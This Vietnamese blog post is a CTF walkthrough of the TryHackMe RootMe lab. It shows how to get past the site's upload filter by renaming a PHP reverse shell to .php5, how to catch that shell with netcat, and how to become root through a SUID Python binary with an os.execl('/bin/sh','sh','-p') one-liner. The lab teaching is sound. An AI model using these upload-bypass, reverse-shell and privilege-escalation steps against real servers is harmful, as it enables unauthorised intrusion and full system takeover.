Linux Pentest Căn Bản – Bài 4: Tấn công, xâm nhập và kiểm soát server RootMe – TryHackMe (Phần 2)

Xin chào,

Trong bài ngày hôm nay, chúng ta sẽ tiếp tục các công đoạn tiếp theo nhằm mục đích tấn công, xâm nhập và kiểm soát server RootMe trên TryHackMe. Cụ thể, chúng ta sẽ tiến hành lấy reverse shell, upgrade shell và tìm giải pháp leo thang đặc quyền sau khi xâm nhập thành công. Ở cuối bài cũng sẽ có một phần thử thách nhỏ dành cho các bạn muốn tự nâng cao kỹ năng trong thời gian nghỉ tết.

Do chúng ta đã quá quen với quy trình pentest và cách sử dụng các công cụ Kali Linux như Nmap và Gobuster, các câu lệnh Linux căn bản rồi cũng như cách thực hành trên TryHackMe rồi, nên mình sẽ không nhắc lại các kiến thức này nhiều nữa. Các bạn nào quên, thì hãy xem lại các kiến thức mình đã đề cập tại đây:

Theo đánh giá của cá nhân mình, RootMe không khó hơn Pickle Rick mà chúng ta đã làm cách đây không lâu, nhưng RootMe đòi hỏi bạn phải có kỹ năng Google thông tin tốt để chinh phục thành công. Cụ thể như thế nào thì chúng ta cùng xem trong bài nhé.


Lưu ý: IP của máy mình và server RootMe trong bài hôm nay sẽ khác với bài trước do mình khởi động lại hệ thống.

1 – Exploiting vulnerabilities (Tiến hành xâm nhập)

1a – Tải file php reverse shell từ github:

B1: Chúng ta vào trang Github sau. Bạn nào quên khái niệm reverse shell thì có thể ôn lại tại bài sau.

B2: Các bạn click vào nút Code màu xanh lá cây và chọn phần HTTPS như ô màu đỏ bên dưới. Chúng ta sẽ double click vào URL để chọn toàn bộ URL và ấn Ctrl + C để save lại URL.

H1a.1

B3: Trên Terminal của Kali Linux, chúng ta dùng lệnh “git clone” cùng với URL đã saved ở B2 để download tất cả các file trong repository php-reverse-shell về máy.

(Đây là các câu lệnh tương tác với Github, các bạn nào muốn tìm hiểu thêm thì có thể tự Google nhé.)

Câu lệnh của chúng ta sẽ như sau:

vincent@kali:~/Desktop/RootMe$ git clone https://github.com/pentestmonkey/php-reverse-shell.git
H1a.2

Các bạn chờ vài phút để hệ thống tải file, khi hoàn tất các bạn sẽ được kết quả như hình H1a.2.

1b – Chỉnh sửa file PHP reverse shell

B1: Các bạn truy cập vào directory php-reverse-shell vừa được download hoàn tất ở phần 1a.

vincent@kali:~/Desktop/RootMe$ cd php-reverse-shell
H1b.1

B2: Chúng ta sẽ mở file php-reverse-shell.php với Nano. (Bạn nào quên cách dùng Nano thì xem lại bài sau)

vincent@kali:~/Desktop/RootMe/php-reverse-shell$ nano -l php-reverse-shell.php 

Tip pentest số 1:

Một thói quen mà các bạn luôn luôn nên làm đó là sau khi download phần mềm tấn công, xâm nhập hay hỗ trợ về máy, bạn hãy mở nó ra và đọc sơ lược code để xem code có cần phải thêm bớt chỉnh sửa gì trước khi được sử dụng hay không?

Ngoài ra, việc đọc code kết hợp với tự tìm hiểu và tra cứu có thể dần dần giúp bạn hiểu được code logic từ đó có thể tự viết nên các phần mềm tấn công hoặc hỗ trợ của riêng mình.

B3: Đọc sơ lược code các bạn hãy chú line 49 và line 50, yêu cầu chúng ta thay địa chỉ IP của máy Kali Linux và port dùng để đón reverse shell trên hệ thống Kali Linux.

H1b.2

B4: Chúng ta sẽ mở một Terminal Tab mới và tìm địa chỉ IPv4 của hệ thống của chúng ta với câu lệnh sau:

vincent@kali:~$ ifconfig
H1b.3

Lưu ý: Các bạn lấy địa chỉ inet hay destination ở interface tun0 đều được nhé, vì hai địa chỉ này hiện có cùng giá trị là 10.2.56.144. Đây chính là địa chỉ IPv4 mà chúng ta được cấp khi kết nối đến mạng TryHackMe.

B5: Thay địa chỉ IPv4 và port, mình sẽ dùng port 8888, vào file php-reverse-shell.php.

H1b.4

B6: Sau khi đã thay đổi các giá trị cần thiết ở line 49 và 50, đồng thời không phát hiện thêm các giá trị cần thay đổi nào khác ở những phần code còn lại, chúng ta sẽ lưu file và thoát ra ngoài terminal.

Các bạn làm theo trình tự như sau:

Ấn tổ hợp Ctrl + x
y
Enter

B7: Như bài ngày hôm trước chúng ta đã biết được server RootMe chặn file có extension .php nhưng không chặn .php5. Chúng ta cũng đã biết đuôi .php và .php5 trên các hệ thống hiện đại là tương tự nhau, nên chúng ta sẽ đổi đuổi file từ php-reverse-shell.php thành php-reverse-shell.php5. (Xem lại phần 4 của bài sau nếu bạn quên lệnh mv)

vincent@kali:~/Desktop/RootMe/php-reverse-shell$ mv php-reverse-shell.php php-reverse-shell.php5 
H1b.5

Và như vậy file reverse shell của chúng ta đã hoàn thành, sẵn sàng để được uploaded.

1c – Upload file reverse shell và đón reverse shell

B1: Truy cập vào trang upload của server RootMe.

H1c.1

B2: Upload file php-reverse-shell.php5 chúng ta đã chuẩn bị ở phần 1b.

H1c.2

Upload file thành công.

B3: Nhiệm vụ tiếp theo của chúng ta là phải tìm được nơi mà file php-reverse-shell.php5 đang được lưu sau khi upload.

Các bạn có nhớ khi chúng ta chạy Gobuster để tìm hidden directories, chúng ta đã phát hiện ra ngoài directory panel còn có 1 directory khác tên uploads cũng bị ẩn không?

H1c.3

Mình đoán directory uploads chính là nơi đang lưu giữ file php-reverse-shell.php5 mà chúng ta vừa up lên server RootMe. Để kiểm tra xem nhận định này có đúng hay không, chúng ta sẽ truy cập đến directory này thử xem sao nhé.

B4: Truy cập directory uploads theo địa chỉ bên dưới:

http://10.10.238.179/uploads/
H1c.4

Và chúng ta đã tìm được file php-reverse-shell.php5 mà chúng ta đã upload. Để chạy file này, chúng ta chỉ cần click vào file là nó sẽ tự động chạy, nhưng trước tiên chúng ta cần mở port 8888 để đón reverse shell trên máy Kali Linux đã.

B5: Mở port 8888 với Netcat

vincent@kali:~$ nc -nlvp 8888

B6: Click vào file php-reverse-shell.php5 đang được lưu trữ tại directory uploads của RootMe

H1c.5

Vậy là chúng ta đã lấy được reverse shell và xâm nhập thành công vào server RootMe.

2 – Privileges escalation (Leo thang đặc quyền)

2a – Upgrade shell

(Lý do cần upgrade shell và cách upgrade mình đã trình bày ở B6 phần 3 của bài sau, các bạn có thể xem lại nếu quên. )

B1: Kiểm tra xem hệ thống có chạy Python hay không?

$ which python
H2a.1

Xác nhận server RootMe có chạy Python.

B2: Upgrade shell với lệnh Python sau:

$ python -c "import pty;pty.spawn('/bin/bash')"
H2a.2

Và chúng ta đã upgrade shell thành công.

2b – Tìm user flag

Chúng ta sẽ truy cập vào home directory để xem có tìm được thông tin gì không.

bash-4.4$ cd /home
H2b.2

Chúng ta tìm được 2 directory là rootme và test bên trong directory home.

Kiểm tra thử hai directories này xem có gì bên trong hay không nhé.

bash-4.4$ ls -la rootme
bash-4.4$ ls -la test
H2b.3

Không tìm thấy user flag trong cả 2 directory này.

Mình quyết định thử truy cập vào directory của Apache xem sao. Path của directory này là /var/www/

bash-4.4$ cd /var/www/ 
H2b.4

Và chúng ta đã tìm được user flag bên trong directory www. Để đọc file user.txt, chúng ta dùng lệnh sau:

bash-4.4$ cat user.txt

2c – Tìm giải pháp leo thang đặc quyền

Đầu tiên, chúng ta sẽ kiểm tra xem account chúng ta đang dùng để đăng nhập là gì bằng câu lệnh sau:

bash-4.4$ whoami 
H2b.1

Account www-data là một account với phân quyền hạn chế được cấp cho Apache server.

2c-1 Sudo rights

Leo thang đặc quyền dựa vào sudo rights là phương pháp lợi dụng những tính năng hoặc phần mềm được được cấp phép sử dụng cho một user nào đó bởi một user có phân quyền cao hơn nhằm mục đích thực hiện một nhiệm vụ cụ thể nào đó. Các tính năng hoặc phần mềm được cấp phép này khi được chạy với sudo, chúng sẽ được chạy với phân quyền của user đã cấp phép sử dụng chứ không phải phân quyền của user đang sử dụng.

Đồng nghĩa với việc, nếu ta lợi dụng các tính năng hoặc phần mềm được cấp phép này và bằng cách nào đó lấy được shell từ các tính năng hoặc phần mềm được cấp phép này, chúng ta sẽ có thể điều khiển hệ thống với phân quyền cao hơn phân quyền của user hiện tại. Và phân quyền càng cao thì càng ít bị hạn chế tiếp cận với các tính năng hoặc phần mềm (nói trắng ra là các câu lệnh đấy các bạn) kiểm soát hệ thống hơn.

Chúng ta đã thực hiện leo thang đặc quyền một lần dựa vào sudo rights tại server Pickle Rick. Bạn nào quên thì xem lại bài này nhé.

Một điều cần lưu ý là khi sử dụng sudo sẽ có lúc chúng ta bị yêu cầu cung cấp mật khẩu của user hiện tại và cũng có lúc không. Có hay không bị yêu cầu cung cấp mật khẩu của user hoàn toàn phụ thuộc vào admin của hệ thống setup thế nào, và trường hợp admin yêu cầu tất cả user phải cung cấp mật khẩu user trước khi dùng lệnh sudo nhằm tăng tính bảo mật cho hệ thống xảy ra rất phổ biến.

Chúng ta sẽ kiểm tra thử xem chúng ta có quyền sudo rights hay không bằng câu lệnh sau:

bash-4.4$ sudo -l
H2c-1.1

Như bạn thấy chúng ta bị hỏi password của account www-data khi dùng lệnh sudo. Vì hiện tại chúng ta không có password và mình cũng đã thử các password như admin, password, root, nhưng đều không được, nên tạm thời chúng ta sẽ bỏ qua cách leo thang đặc quyền dựa vào sudo rights.

2c-2 SUID

(Bạn nào quên khái niệm SUID thì hãy xem lại phần 3b của bài này nhé. )

Chúng ta sẽ dùng lệnh sau để tìm xem trong server RootMe có những phần mềm nào có thể chạy với SUID:

bash-4.4$ find / -perm -u=s -type f 2>/dev/null

(Xem lại cách dùng lệnh Find ở bài sau)

H2c-2.1

Sau khi chạy lệnh, chúng ta sẽ có được danh sách các phần mềm trên server RootMe có SUID. Trong số các phần mềm này, mình đặc biệt chú ý đến Python, vì nếu Python có SUID, chúng ta có thể lợi dụng Python để leo thang đặc quyền.

Chúng ta sẽ kiểm tra lại một lần nữa phần mềm /usr/bin/python.

bash-4.4$ ls -l /usr/bin/python
H2c-2.2

Chúng ta có thể thấy trong phần phân quyền của Python có chữ “s”, chứng tỏ Python có SUID. Điều đó đồng nghĩa với việc, khi bất kỳ user nào chạy câu lệnh Python, Python sẽ luôn được thực thi với phân quyền của root. Nếu chúng ta có thể tạo ra một shell điều khiển hệ thống với Python, shell đó sẽ mang phân quyền của root.

Để leo thang đặc quyền với Python chúng ta làm như sau:

B1: Truy cập vào trang sau.

Trang này tập trung các thủ thuật lợi dụng các phần mềm được cấp sudo rights hoặc SUID để leo thang đặc quyền rất hữu ích khi pentest, các bạn nên bookmark lại nhé.

B2: Gõ Python vào khung search.

B3: Các bạn click vào nút SUID ở phần kết quả hiện ra.

H2c-2.3

B4: Làm theo hướng dẫn

H2c-2.4

Cụ thể, để leo thang đặc quyền với Python, các bạn copy và paste câu lệnh sau vào shell điều khiển hệ thống RootMe.

./python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

Tuy nhiên, chúng ta sẽ cần sửa lại một chút để phù hợp với server RootMe. Vì “./” dùng để chỉ thực thi file Python ngay tại directory hiện tại, điều này có phần không phù hợp với server RootMe vì hệ thống đã được tích hợp sẵn Python tại /usr/bin/python rồi. Đồng nghĩa với việc chúng ta cần thay “./” với /usr/bin/ (Bạn nào quên kiến thức này thì hãy xem lại phần 7 của bài sau). Vậy command mới sẽ như sau:

/usr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
H2c-2.4

Và chúng ta đã leo thang đặc quyền thành công. Từ bây giờ, chúng ta nắm toàn quyền kiểm soát server RootMe và có thể làm bất kỳ điều gì tùy thích.

2d – Lấy root flag

Để lấy root flag, các bạn hãy truy cập vào root directory bằng lệnh sau:

# cd /root
H2d.1

3 – Thử thách dành cho các bạn

Trong thời gian nghỉ tết, nếu ngứa nghề, các bạn hãy thử chinh phục các thử thách này xem nhé:

  1. Tìm cách upgrade shell điều khiển hệ thống bình thường lên Meterpreter của Metasploit.
  2. Xác định version hệ điều hành và version của Linux kernel của server RootMe
  3. Chạy local exploit suggester module của Metasploit để xác định xem server RootMe có mắc phải lỗi Kernel Exploit nào không? Nếu có, thử tấn công xem có thành công không?
  4. Tạo một file tên virus.txt trên Kali Linux và upload nó lên server RootMe.

Bạn nào bí thì có thể tham khảo 2 bài sau nhé:


Xin cám ơn các bạn và chúc các bạn và gia đình ăn tết vui vẻ,

Vincent Nguyễn

Advertisement

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s